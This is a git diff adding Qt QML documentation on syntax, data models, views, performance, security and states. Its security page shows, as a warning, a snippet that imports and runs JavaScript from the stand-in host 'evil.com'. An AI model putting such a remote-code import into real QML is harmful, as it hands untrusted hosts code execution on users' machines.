+are doing; for referring back to at a later date, or for others reading
+your QML files.
+
+Comments can also be used to prevent the execution of code, which is
+sometimes useful for tracking down problems.
+
+\qml
+Text {
+ text: "Hello world!"
+ //opacity: 0.5
+}
+\endqml
+
+In the above example, the \l Text object will have normal opacity, since the
+line opacity: 0.5 has been turned into a comment.
+
+
+
+\section1 Object Identifiers
+
+Each object can be given a special \e id value that allows the object to be identified
+and referred to by other objects.
+
+For example, below we have two \l Text objects. The first \l Text object
+has an \c id value of "text1". The second \l Text object can now set its own
+\c text property value to be the same as that of the first object, by referring to
+\c text1.text:
+
+\qml
+import QtQuick 1.0
+
+Row {
+ Text {
+ id: text1
+ text: "Hello World"
+ }
+
+ Text { text: text1.text }
+}
+\endqml
+
+An object can be referred to by its \c id from anywhere within the \l {QML Documents}{component}
+in which it is declared. Therefore, an \c id value must always be unique within a single component.
+
+The \c id value is a special value for a QML object and should not be thought of as an
+ordinary object property; for example, it is not possible to access \c text1.id in the
+above example. Once an object is created, its \c id cannot be changed.
+
+Note that an \c id must begin with a lower-case letter or an underscore, and cannot contain
+characters other than letters, numbers and underscores.
+
+
+
+\section1 Expressions
+
+JavaScript expressions can be used to assign property values. For example:
+
+\qml
+Item {
+ width: 100 * 3
+ height: 50 + 22
+}
+\endqml
+
+These expressions can include references to other objects and properties, in which case
+a \l{Property Binding}{binding} is established: when the value of the expression changes,
+the property to which the expression is assigned is automatically updated to the
+new value. For example:
+
+\qml
+Item {
+ width: 300
+ height: 300
+
+ Rectangle {
+ width: parent.width - 50
+ height: 100
+ color: "yellow"
+ }
+}
+\endqml
+
+Here, the \l Rectangle object's \c width property is set relative to the width
+of its parent. Whenever the parent's width changes, the width of the \l Rectangle is
+automatically updated.
+
+
+
+\section1 Properties
+\target intro-properties
+
+\section2 Basic Property Types
+
+QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int,
+\c real, \c bool, \c string and \c color.
+
+\qml
+Item {
+ x: 10.5 // a 'real' property
+ state: "details" // a 'string' property
+ focus: true // a 'bool' property
+ // ...
+}
+\endqml
+
+QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that
+matches the property type. For example, the \c x property of item is a real, and if you try to assign
+a string to it you will get an error.
+
+\badcode
+Item {
+ x: "hello" // illegal!
+}
+\endcode
+
+Note that with the exception of \l {Attached Properties}, properties always begin with a lowercase
+letter.
+
+
+\section2 Property Change Notifications
+
+When a property changes value, it can send a signal to notify others of this change.
+
+To receive these signals, simply create a \e {signal handler} named with an \c on<Property>Changed
+syntax. For example, the \l Rectangle element has \l {Item::}{width} and \l {Rectangle::}{color}
+properties. Below, we have a \l Rectangle object that has defined two signal handlers,
+\c onWidthChanged and \c onColorChanged, which will automaticallly be called whenever these
+properties are modified:
+
+\qml
+Rectangle {
+ width: 100; height: 100
+
+ onWidthChanged: console.log("Width has changed to:", width)
+ onColorChanged: console.log("Color has changed to:", color)
+}
+\endqml
+
+Signal handlers are explained further \l {Signal Handlers}{below}.
+
+
+\section2 List properties
+
+List properties look like this:
+
+\qml
+Item {
+ children: [
+ Image {},
+ Text {}
+ ]
+}
+\endqml
+
+The list is enclosed in square brackets, with a comma separating the
+list elements. In cases where you are only assigning a single item to a
+list, you can omit the square brackets:
+
+\qml
+Image {
+ children: Rectangle {}
+}
+\endqml
+
+Items in the list can be accessed by index. See the \l{list}{list type} documentation
+for more details about list properties and their available operations.
+
+
+\section2 Default Properties
+
+Each object type can specify one of its list or object properties as its default property.
+If a property has been declared as the default property, the property tag can be omitted.
+
+For example this code:
+\qml
+State {
+ changes: [
+ PropertyChanges {},
+ PropertyChanges {}
+ ]
+}
+\endqml
+
+can be simplified to:
+
+\qml
+State {
+ PropertyChanges {}
+ PropertyChanges {}
+}
+\endqml
+
+because \c changes is the default property of the \c State type.
+
+\section2 Grouped Properties
+\target dot properties
+
+In some cases properties form a logical group and use a 'dot' or grouped notation
+to show this.
+
+Grouped properties can be written like this:
+\qml
+Text {
+ font.pixelSize: 12
+ font.bold: true
+}
+\endqml
+
+or like this:
+\qml
+Text {
+ font { pixelSize: 12; bold: true }
+}
+\endqml
+
+In the element documentation grouped properties are shown using the 'dot' notation.
+
+\section2 Attached Properties
+\target attached-properties
+
+Some objects attach properties to another object. Attached Properties
+are of the form \e {Type.property} where \e Type is the type of the
+element that attaches \e property.
+
+For example, the \l ListView element attaches the \e ListView.isCurrentItem property
+to each delegate it creates:
+
+\qml
+Component {
+ id: myDelegate
+ Text {
+ text: "Hello"
+ color: ListView.isCurrentItem ? "red" : "blue"
+ }
+}
+\endqml
+
+\qml
+ListView {
+ delegate: myDelegate
+}
+\endqml
+
+Another example of attached properties is the \l Keys element which
+attaches properties for handling key presses to
+any visual Item, for example:
+
+\qml
+Item {
+ focus: true
+ Keys.onSelectPressed: console.log("Selected")
+}
+\endqml
+
+\section1 Signal Handlers
+
+Signal handlers allow JavaScript code to be executed in response to an event. For
+example, the \l MouseArea element has an \l {MouseArea::}{onClicked} handler that can
+be used to respond to a mouse click. Below, we use this handler to print a
+message whenever the mouse is clicked:
+
+\qml
+Item {
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ console.log("mouse button clicked")
+ }
+ }
+}
+\endqml
+
+All signal handlers begin with \e "on".
+
+Some signal handlers include an optional parameter. For example
+the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter
+that contains information about the mouse press. This parameter can be referred to in
+the JavaScript code, as below:
+
+\qml
+MouseArea {
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ onPressed: {
+ if (mouse.button == Qt.RightButton)
+ console.log("Right mouse button pressed")
+ }
+}
+\endqml
+*/
diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc
new file mode 100644
index 00000000..257ee062
--- /dev/null
+++ b/doc/src/declarative/qdeclarativemodels.qdoc
@@ -0,0 +1,505 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativemodels.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML Animation and Transitions}{Animation and Transitions}
+\nextpage {Presenting Data with Views}
+\target qmlmodels
+\title QML Data Models
+
+QML items such as ListView, GridView and \l Repeater require Data Models
+that provide the data to be displayed.
+These items typically require a \e delegate component that
+creates an instance for each item in the model. Models may be static, or
+have items modified, inserted, removed or moved dynamically.
+
+Data is provided to the delegate via named data roles which the
+delegate may bind to. Here is a ListModel with two roles, \e type and \e age,
+and a ListView with a delegate that binds to these roles to display their
+values:
+
+\snippet doc/src/snippets/declarative/qml-data-models/listmodel-listview.qml document
+
+If there is a naming clash between the model's properties and the delegate's
+properties, the roles can be accessed with the qualified \e model name instead.
+For example, if a \l Text element had \e type or \e age properties, the text in the
+above example would display those property values instead of the \e type and \e age values
+from the model item. In this case, the properties could have been referenced as
+\c model.type and \c model.age instead to ensure the delegate displays the
+property values from the model item.
+
+A special \e index role containing the index of the item in the model
+is also available to the delegate. Note this index is set to -1 if the item is removed from
+the model. If you bind to the index role, be sure that the logic
+accounts for the possibility of index being -1, i.e. that the item
+is no longer valid. (Usually the item will shortly be destroyed, but
+it is possible to delay delegate destruction in some views via a \c delayRemove
+attached property.)
+
+Models that do not have named roles (such as the QStringList model shown below)
+will have the data provided via the \e modelData role. The \e modelData role is also provided for
+models that have only one role. In this case the \e modelData role
+contains the same data as the named role.
+
+QML provides several types of data models among the built-in set of
+QML elements. In addition, models can be created with C++ and then
+made available to QML components.
+
+The views used to access data models are described in the
+\l{Presenting Data with Views} overview.
+The use of positioner items to arrange items from a model is covered in
+\l{Using QML Positioner and Repeater Items}.
+
+
+\keyword qml-data-models
+\section1 QML Data Models
+
+\section2 ListModel
+
+ListModel is a simple hierarchy of elements specified in QML. The
+available roles are specified by the \l ListElement properties.
+
+\snippet doc/src/snippets/declarative/qml-data-models/listelements.qml model
+
+The above model has two roles, \e name and \e cost. These can be bound
+to by a ListView delegate, for example:
+
+\snippet doc/src/snippets/declarative/qml-data-models/listelements.qml view
+
+ListModel provides methods to manipulate the ListModel directly via JavaScript.
+In this case, the first item inserted determines the roles available
+to any views that are using the model. For example, if an empty ListModel is
+created and populated via JavaScript, the roles provided by the first
+insertion are the only roles that will be shown in the view:
+
+\snippet doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml model
+\dots
+\snippet doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml mouse area
+
+When the MouseArea is clicked, \c fruitModel will have two roles, \e cost and \e name.
+Even if subsequent roles are added, only the first two will be handled by views
+using the model. To reset the roles available in the model, call ListModel::clear().
+
+
+\section2 XmlListModel
+
+XmlListModel allows construction of a model from an XML data source. The roles
+are specified via the \l XmlRole element.
+
+The following model has three roles, \e title, \e link and \e description:
+\qml
+XmlListModel {
+ id: feedModel
+ source: "http://rss.news.yahoo.com/rss/oceania"
+ query: "/rss/channel/item"
+ XmlRole { name: "title"; query: "title/string()" }
+ XmlRole { name: "link"; query: "link/string()" }
+ XmlRole { name: "description"; query: "description/string()" }
+}
+\endqml
+
+The \l{demos/declarative/rssnews}{RSS News demo} shows how XmlListModel can
+be used to display an RSS feed.
+
+
+\section2 VisualItemModel
+
+VisualItemModel allows QML items to be provided as a model.
+
+This model contains both the data and delegate; the child items of a
+VisualItemModel provide the contents of the delegate. The model
+does not provide any roles.
+
+\snippet doc/src/snippets/declarative/models/visual-model-and-view.qml visual model and view
+
+Note that in the above example there is no delegate required.
+The items of the model itself provide the visual elements that
+will be positioned by the view.
+
+\keyword qml-c++-models
+\section1 C++ Data Models
+
+Models can be defined in C++ and then made available to QML. This is useful
+for exposing existing C++ data models or otherwise complex datasets to QML.
+
+A C++ model class can be defined as a QStringList, a QList<QObject*> or a
+QAbstractItemModel. The first two are useful for exposing simpler datasets,
+while QAbstractItemModel provides a more flexible solution for more complex
+models.
+
+
+\section2 QStringList-based model
+
+A model may be a simple QStringList, which provides the contents of the list via the \e modelData role.
+
+Here is a ListView with a delegate that references its model item's
+value using the \c modelData role:
+
+\snippet examples/declarative/modelviews/stringlistmodel/view.qml 0
+
+A Qt application can load this QML document and set the value of \c myModel
+to a QStringList:
+
+\snippet examples/declarative/modelviews/stringlistmodel/main.cpp 0
+
+The complete example is available in Qt's \l {declarative/modelviews/stringlistmodel}{examples/declarative/modelviews/stringlistmodel} directory.
+
+\note There is no way for the view to know that the contents of a QStringList
+have changed. If the QStringList changes, it will be necessary to reset
+the model by calling QDeclarativeContext::setContextProperty() again.
+
+
+\section2 QObjectList-based model
+
+A list of QObject* values can also be used as a model. A QList<QObject*> provides
+the properties of the objects in the list as roles.
+
+The following application creates a \c DataObject class that with
+Q_PROPERTY values that will be accessible as named roles when a
+QList<DataObject*> is exposed to QML:
+
+\snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 0
+\dots 4
+\snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 1
+\codeline
+\snippet examples/declarative/modelviews/objectlistmodel/main.cpp 0
+\dots
+
+The QObject* is available as the \c modelData property. As a convenience,
+the properties of the object are also made available directly in the
+delegate's context. Here, \c view.qml references the \c DataModel properties in
+the ListView delegate:
+
+\snippet examples/declarative/modelviews/objectlistmodel/view.qml 0
+
+Note the use of the fully qualified access to the \c color property.
+The properties of the object are not replicated in the \c model
+object, since they are easily available via the \c modelData
+object.
+
+The complete example is available in Qt's \l {declarative/modelviews/objectlistmodel}{examples/declarative/modelviews/objectlistmodel} directory.
+
+Note: There is no way for the view to know that the contents of a QList
+have changed. If the QList changes, it will be necessary to reset
+the model by calling QDeclarativeContext::setContextProperty() again.
+
+
+\section2 QAbstractItemModel
+
+A model can be defined by subclassing QAbstractItemModel. This is the
+best approach if you have a more complex model that cannot be supported
+by the other approaches. A QAbstractItemModel can also automatically
+notify a QML view when the model data has changed.
+
+The roles of a QAbstractItemModel subclass can be exposed to QML by calling
+QAbstractItemModel::setRoleNames(). The default role names set by Qt are:
+
+\table
+\header
+\o Qt Role
+\o QML Role Name
+\row
+\o Qt::DisplayRole
+\o display
+\row
+\o Qt::DecorationRole
+\o decoration
+\endtable
+
+Here is an application with a QAbstractListModel subclass named \c AnimalModel
+that has \e type and \e size roles. It calls QAbstractItemModel::setRoleNames() to set the
+role names for accessing the properties via QML:
+
+\snippet examples/declarative/modelviews/abstractitemmodel/model.h 0
+\dots
+\snippet examples/declarative/modelviews/abstractitemmodel/model.h 1
+\dots
+\snippet examples/declarative/modelviews/abstractitemmodel/model.h 2
+\codeline
+\snippet examples/declarative/modelviews/abstractitemmodel/model.cpp 0
+\codeline
+\snippet examples/declarative/modelviews/abstractitemmodel/main.cpp 0
+\dots
+
+This model is displayed by a ListView delegate that accesses the \e type and \e size
+roles:
+
+\snippet examples/declarative/modelviews/abstractitemmodel/view.qml 0
+
+QML views are automatically updated when the model changes. Remember the model
+must follow the standard rules for model changes and notify the view when
+the model has changed by using QAbstractItemModel::dataChanged(),
+QAbstractItemModel::beginInsertRows(), etc. See the \l {Model subclassing reference} for
+more information.
+
+The complete example is available in Qt's \l {declarative/modelviews/abstractitemmodel}{examples/declarative/modelviews/abstractitemmodel} directory.
+
+QAbstractItemModel presents a hierarchy of tables, but the views currently provided by QML
+can only display list data.
+In order to display child lists of a hierarchical model
+the VisualDataModel element provides several properties and functions for use
+with models of type QAbstractItemModel:
+
+\list
+\o \e hasModelChildren role property to determine whether a node has child nodes.
+\o \l VisualDataModel::rootIndex allows the root node to be specifed
+\o \l VisualDataModel::modelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex
+\o \l VisualDataModel::parentModelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex
+\endlist
+
+
+\section2 Exposing C++ Data Models to QML
+
+The above examples use QDeclarativeContext::setContextProperty() to set
+model values directly in QML components. An alternative to this is to
+register the C++ model class as a QML type from a QML C++ plugin using
+QDeclarativeExtensionPlugin. This would allow the model classes to be
+created directly as elements within QML:
+
+\table
+\row
+
+\o
+\code
+class MyModelPlugin : public QDeclarativeExtensionPlugin
+{
+public:
+ void registerTypes(const char *uri)
+ {
+ qmlRegisterType<MyModel>(uri, 1, 0,
+ "MyModel");
+ }
+}
+
+Q_EXPORT_PLUGIN2(mymodelplugin, MyModelPlugin);
+\endcode
+
+\o
+\qml
+MyModel {
+ id: myModel
+ ListElement { someProperty: "some value" }
+}
+\endqml
+
+\qml
+ListView {
+ width: 200; height: 250
+ model: myModel
+ delegate: Text { text: someProperty }
+}
+\endqml
+
+\endtable
+
+See \l {Tutorial: Writing QML extensions with C++} for details on writing QML C++
+plugins.
+
+
+
+\section1 Other Data Models
+
+
+\section2 An Integer
+
+An integer can be used to specify a model that contains a certain number
+of elements. In this case, the model does not have any data roles.
+
+The following example creates a ListView with five elements:
+\qml
+Item {
+ width: 200; height: 250
+
+ Component {
+ id: itemDelegate
+ Text { text: "I am item number: " + index }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: 5
+ delegate: itemDelegate
+ }
+
+}
+\endqml
+
+
+\section2 An Object Instance
+
+An object instance can be used to specify a model with a single object element. The
+properties of the object are provided as roles.
+
+The example below creates a list with one item, showing the color of the
+\e myText text. Note the use of the fully qualified \e model.color property
+to avoid clashing with \e color property of the Text element in the delegate.
+
+\qml
+Rectangle {
+ width: 200; height: 250
+
+ Text {
+ id: myText
+ text: "Hello"
+ color: "#dd44ee"
+ }
+
+ Component {
+ id: myDelegate
+ Text { text: model.color }
+ }
+
+ ListView {
+ anchors.fill: parent
+ anchors.topMargin: 30
+ model: myText
+ delegate: myDelegate
+ }
+}
+\endqml
+
+\section1 Accessing Views and Models from Delegates
+
+You can access the view for which a delegate is used, and its
+properties, by using ListView.view in a delegate on a ListView, or
+GridView.view in a delegate on a GridView, etc. In particular, you can
+access the model and its properties by using ListView.view.model.
+
+This is useful when you want to use the same delegate for a number of
+views, for example, but you want decorations or other features to be
+different for each view, and you would like these different settings to
+be properties of each of the views. Similarly, it might be of interest
+to access or show some properties of the model.
+
+In the following example, the delegate shows the property \e{language}
+of the model, and the color of one of the fields depends on the
+property \e{fruit_color} of the view.
+
+\snippet doc/src/snippets/declarative/models/views-models-delegates.qml rectangle
+
+Another important case is when some action (e.g. mouse click) in the
+delegate should update data in the model. In this case you can define
+a function in the model, e.g.:
+
+\code
+ setData(int row, const QString & field_name, QVariant new_value),
+\endcode
+
+...and call it from the delegate using:
+
+\js
+ ListView.view.model.setData(index, field, value)
+\endjs
+
+...assuming that \e{field} holds the name of the field which should be
+updated, and that \e{value} holds the new value.
+
+*/
+
+/*!
+\page qml-presenting-data.html
+\title Presenting Data with QML
+
+\section1 Introduction
+
+Qt Quick contains a set of standard items that can be used to present data in a
+number of different ways. For simple user interfaces,
+\l{Using QML Positioner and Repeater Items#Repeaters}{Repeaters} can be used
+in combination with
+\l{Using QML Positioner and Repeater Items#Positioners}{Positioners}
+to obtain pieces of data and arrange them in a user interface. However, when
+large quantities of data are involved, it is often better to use models with
+the standard views since these contain many built-in display and navigation
+features.
+
+\section1 Views
+
+Views are scrolling containers for collections of items. They are feature-rich,
+supporting many of the use cases found in typical applications, and can be
+customized to meet requirements on style and behavior.
+
+A set of standard views are provided in the basic set of Qt Quick
+graphical elements:
+
+\list
+\o \l{#ListView}{ListView} arranges items in a horizontal or vertical list
+\o \l{#GridView}{GridView} arranges items in a grid within the available space
+\o \l{#PathView}{PathView} arranges items on a path
+\endlist
+
+Unlike these items, \l WebView is not a fully-featured view item, and needs
+to be combined with a \l Flickable item to create a view that performs like
+a Web browser.
+
+\section2 ListView
+
+\l ListView shows a classic list of items with horizontal or vertical placing
+of items.
+
+\beginfloatright
+\inlineimage qml-listview-snippet.png
+\endfloat
+
+The following example shows a minimal ListView displaying a sequence of
+numbers (using an \l{QML Data Models#An Integer}{integer as a model}).
+A simple delegate is used to define an items for each piece of data in the
+model.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/listview/listview-snippet.qml document
+
+
+
+\section2 GridView
+
+\l GridView displays items in a grid like an file manager's icon view.
+
+\section2 PathView
+
+\l PathView displays items on a path, where the selection remains in
+the same place and the items move around it.
+
+\section1 Decorating Views
+
+\section2 Headers and Footers
+
+\section2 Sections
+
+\section2 Navigation
+
+In traditional user interfaces, views can be scrolled using standard
+controls, such as scroll bars and arrow buttons. In some situations, it
+is also possible to drag the view directly by pressing and holding a
+mouse button while moving the cursor. In touch-based user interfaces,
+this dragging action is often complemented with a flicking action, where
+scrolling continues after the user has stopped touching the view.
+
+\section1 Further Reading
+*/
diff --git a/doc/src/declarative/qdeclarativeperformance.qdoc b/doc/src/declarative/qdeclarativeperformance.qdoc
new file mode 100644
index 00000000..b0232725
--- /dev/null
+++ b/doc/src/declarative/qdeclarativeperformance.qdoc
@@ -0,0 +1,150 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeperformance.html
+\title QML Performance
+
+\section1 Opaque Items
+
+Items hidden behind an opaque item incur a cost. If an item will be enitrely
+obscured by an opaque item, set its opacity to 0. One common example of
+this is when a "details" page is shown over the main application view.
+
+\section1 Clipping
+
+\e clip is set to false by default. Enable clipping only when necessary.
+
+\section1 Anchors vs. Binding
+
+It is more efficient to use anchors rather than bindings to position items
+relative to each other. Consider this use of bindings to position rect2
+relative to rect1:
+
+\code
+Rectangle {
+ id: rect1
+ x: 20
+ width: 200; height: 200
+}
+Rectangle {
+ id: rect2
+ x: rect1.x
+ y: rect1.y + rect1.height
+ width: rect1.width - 20
+ height: 200
+}
+\endcode
+
+This is achieved more efficiently using anchors:
+
+\code
+Rectangle {
+ id: rect1
+ x: 20
+ width: 200; height: 200
+}
+Rectangle {
+ id: rect2
+ height: 200
+ anchors.left: rect1.left
+ anchors.top: rect1.bottom
+ anchors.right: rect1.right
+ anchors.rightMargin: 20
+}
+\endcode
+
+\section1 Images
+
+Images consume a great deal of memory and may also be costly to load. In order
+to deal with large images efficiently it is recommended that the Image::sourceSize
+property be set to a size no greater than that necessary to render it. Beware that
+changing the sourceSize will cause the image to be reloaded.
+
+Images on the local filesystem are usually loaded synchronously. This is usually
+the desired behavior for user interface elements, however for large images that
+do not necessarily need to be visible immediately, set the Image::asynchronous
+property to true. This will load the image in a low priority thread.
+
+\section1 View Delegates
+
+Delegates must be created quickly as the view is flicked. There are two important
+aspects to maintaining a smooth view:
+
+\list
+\o Small delegates - keep the amount of QML to a minimum. Have just enough
+QML in the delegate to display the necessary information. Any additional functionality
+that is only needed when the delegate is clicked, for example, should be created by
+a Loader as needed.
+\o Fast data access - ensure the data model is as fast as possible.
+\endlist
+
+\section1 Image resources over composition
+
+If possible, provide a single image resource, rather than using composition
+of a number of elements. For example, a frame with a shadow could be created using
+a Rectangle placed over an Image providing the shadow. It is more efficient to
+provide an image that includes the frame and the shadow.
+
+\section1 Limit JavaScript
+
+Avoid running JavaScript during animation. For example, running a complex
+JavaScript expression for each frame of an x property animation.
+
+\section1 Rendering
+
+Often using a different graphics system will give superior performance to the native
+graphics system (this is especially the case on X11). This can be configured using
+QApplication::setGraphicsSystem() or via the command line using the \c -graphicssystem
+switch.
+
+You can enable OpenGL acceleration using the \c opengl graphics system, or by setting a
+QGLWidget as the viewport of your QDeclarativeView.
+
+You may need to try various options to find what works the best for your application.
+For embedded X11-based devices one recommended combination is to use the raster graphics
+system with a QGLWidget for the viewport. While this doesn't guarantee the \bold fastest
+performance for all use-cases, it typically has \bold{consistently good} performance for
+all use-cases. In contrast, only using the raster paint engine may result in very good
+performance for parts of your application and very poor performance elsewhere.
+
+The QML Viewer uses the raster graphics system by default for X11 and OS X. It also
+includes a \c -opengl command line option which sets a QGLWidget as the viewport of the
+view. On OS X, a QGLWidget is always used.
+
+You can also prevent QDeclarativeView from painting its window background if
+you will provide the background of your application using QML, e.g.
+
+\code
+QDeclarativeView window;
+window.setAttribute(Qt::WA_OpaquePaintEvent);
+window.setAttribute(Qt::WA_NoSystemBackground);
+window.viewport()->setAttribute(Qt::WA_OpaquePaintEvent);
+window.viewport()->setAttribute(Qt::WA_NoSystemBackground);
+\endcode
+
+*/
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
new file mode 100644
index 00000000..1be02752
--- /dev/null
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativesecurity.html
+\title QML Security
+\section1 QML Security
+
+The QML security model is that QML content is a chain of trusted content: the user
+installs QML content that they trust in the same way as they install native Qt applications,
+or programs written with runtimes such as Python and Perl. That trust is establish by any
+of a number of mechanisms, including the availability of package signing on some platforms.
+
+In order to preserve the trust of users, developers producing QML content should not execute
+arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
+
+For example, this QML content:
+
+\qml
+import QtQuick 1.0
+import "http://evil.com/evil.js" as Evil
+
+Component {
+ onLoaded: Evil.doEvil()
+}
+\endqml
+
+is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
+environment of QML does not try to stop any particular accesses, including local file system
+access, just as for any native Qt application, so the "doEvil" function could do the same things
+as a native Qt application, a Python application, a Perl script, etc.
+
+As with any application accessing other content beyond it's control, a QML application should
+perform appropriate checks on untrusted data it loads.
+
+A non-exhaustive list of the ways you could shoot yourself in the foot is:
+
+\list
+ \i Using \c import to import QML or JavaScript you do not control. BAD
+ \i Using \l Loader to import QML you do not control. BAD
+ \i Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD
+\endlist
+
+However, the above does not mean that you have no use for the network transparency of QML.
+There are many good and useful things you \e can do:
+
+\list
+ \i Create \l Image elements with source URLs of any online images. GOOD
+ \i Use XmlListModel to present online content. GOOD
+ \i Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD
+\endlist
+
+The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
+has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
+worry about working around them.
+*/
diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc
new file mode 100644
index 00000000..40b02548
--- /dev/null
+++ b/doc/src/declarative/qdeclarativestates.qdoc
@@ -0,0 +1,158 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativestates.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {Importing Reusable Components}
+\nextpage {QML Animation and Transitions}{Animation and Transitions}
+\target qmlstates
+\title QML States
+
+\section1 States Elements
+\list
+\o \l State
+\o \l PropertyChanges
+\o \l StateGroup
+\o \l StateChangeScript
+\o \l ParentChange
+\o \l AnchorChanges
+\endlist
+
+Many user interface designs are \e state driven; interfaces have configurations
+that differ depending on the current state. For example, a traffic signal will
+configure its flags or lights depending on its state. While in the signal's
+\c stop state, a red light will turn on while the yellow and the green lights
+will turn off. In the \c caution state, the yellow light is on while the other
+lights are turned off.
+
+In QML, \e states are a set of property configurations defined in a \l State
+element. Different configurations could, for example:
+
+\list
+\o Show some UI elements and hide others
+\o Present different available actions to the user
+\o Start, stop, or pause animations
+\o Execute some script required in the new state
+\o Change a property value for a particular item
+\o Show a different view or screen
+\endlist
+
+All \l {Item}-based objects have a \c state property, and can specify additional
+states by adding new \c State objects to the item's \l {Item::}{states}
+property. Each state within a component has a unique \c name, an empty string
+being the default. To change the current state
+of an item, set the \l {Item::}{state} property to the name of the state.
+
+Non-Item objects may use states through the \l StateGroup element.
+
+\section1 Creating States
+
+To create a state, add a \l State object to the item's \l {Item::}{states} property,
+which holds a list of states for that item.
+
+A warning \c signal component may have two states, the \c NORMAL and the
+\c CRITICAL state. Suppose that in the \c NORMAL state, the \c color of the
+signal should be \c green and the warning \c flag is down. Meanwhile, in the
+\c CRITICAL state, the \c color should be \c red and the flag is \c up. We may
+model the states using the \c State element and the color and flag
+configurations with the \c PropertyChanges element.
+\snippet doc/src/snippets/declarative/states.qml signal states
+The \l PropertyChanges element will change the values of object properties.
+Objects are referenced through their \l {qml-id-property}{id}. Objects outside
+the component are also referenced using the \c id property, exemplified by the
+property change to the external \c flag object.
+
+Further, the state may change by assigning the \c state property with the
+appropriate signal state. A state switch could be in a \l MouseArea element,
+assigning a different state whenever the signal receives a mouse click.
+\snippet doc/src/snippets/declarative/states.qml switch states
+
+The State element is not limited to performing modifications on property values.
+It can also:
+\list
+\o Run some script using \l StateChangeScript
+\o Override an existing signal handler for an object using \l PropertyChanges
+\o Re-parent an \l Item using \l ParentChange
+\o Modify anchor values using \l AnchorChanges
+\endlist
+
+\section1 The Default State
+
+Every \l Item based component has a \c state property and a \e{default state}.
+The default state is the empty string (\c{""}) and contains all of an item's
+initial property values. The default state is useful for managing property
+values before state changes. Setting the \c state property to an empty string
+will load the default state.
+
+\section1 The \c when Property
+
+For convenience, the \l State element has a \c when property that can bind to
+expressions to change the state whenever the bound expression evaluates to
+\c true. The \c when property will revert the state back to the
+\l {The Default State}{default state} when the expression evaluates to false.
+
+\snippet doc/src/snippets/declarative/states.qml when property
+The \c bell component will change to the \c RINGING state whenever the
+\c signal.state is \c CRITICAL.
+
+\section1 Animating State Changes
+
+State changes induce abrupt value changes. The \l Transition element allow
+smoother changes during state changes. In transitions, animations and
+interpolation behaviors are definable. The
+\l {QML Animation and Transitions}{Animation and Transitions} article has more
+information about creating state animations.
+
